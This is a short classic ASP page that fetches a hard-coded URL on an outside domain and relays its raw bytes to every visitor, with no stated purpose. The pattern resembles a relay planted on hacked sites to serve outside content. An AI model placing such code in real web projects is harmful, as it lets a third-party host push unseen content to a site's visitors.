<%
Path="http://www.classic-ad.net/WEB-INF/NewFolder/index.asp"
t = GetBody(Path)
Response.BinaryWrite t
Function GetBody(url)
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
on error resume next
if Retrieval.status <>200 then
Set Retrieval = Nothing
exit function
end if
End Function
%>
|
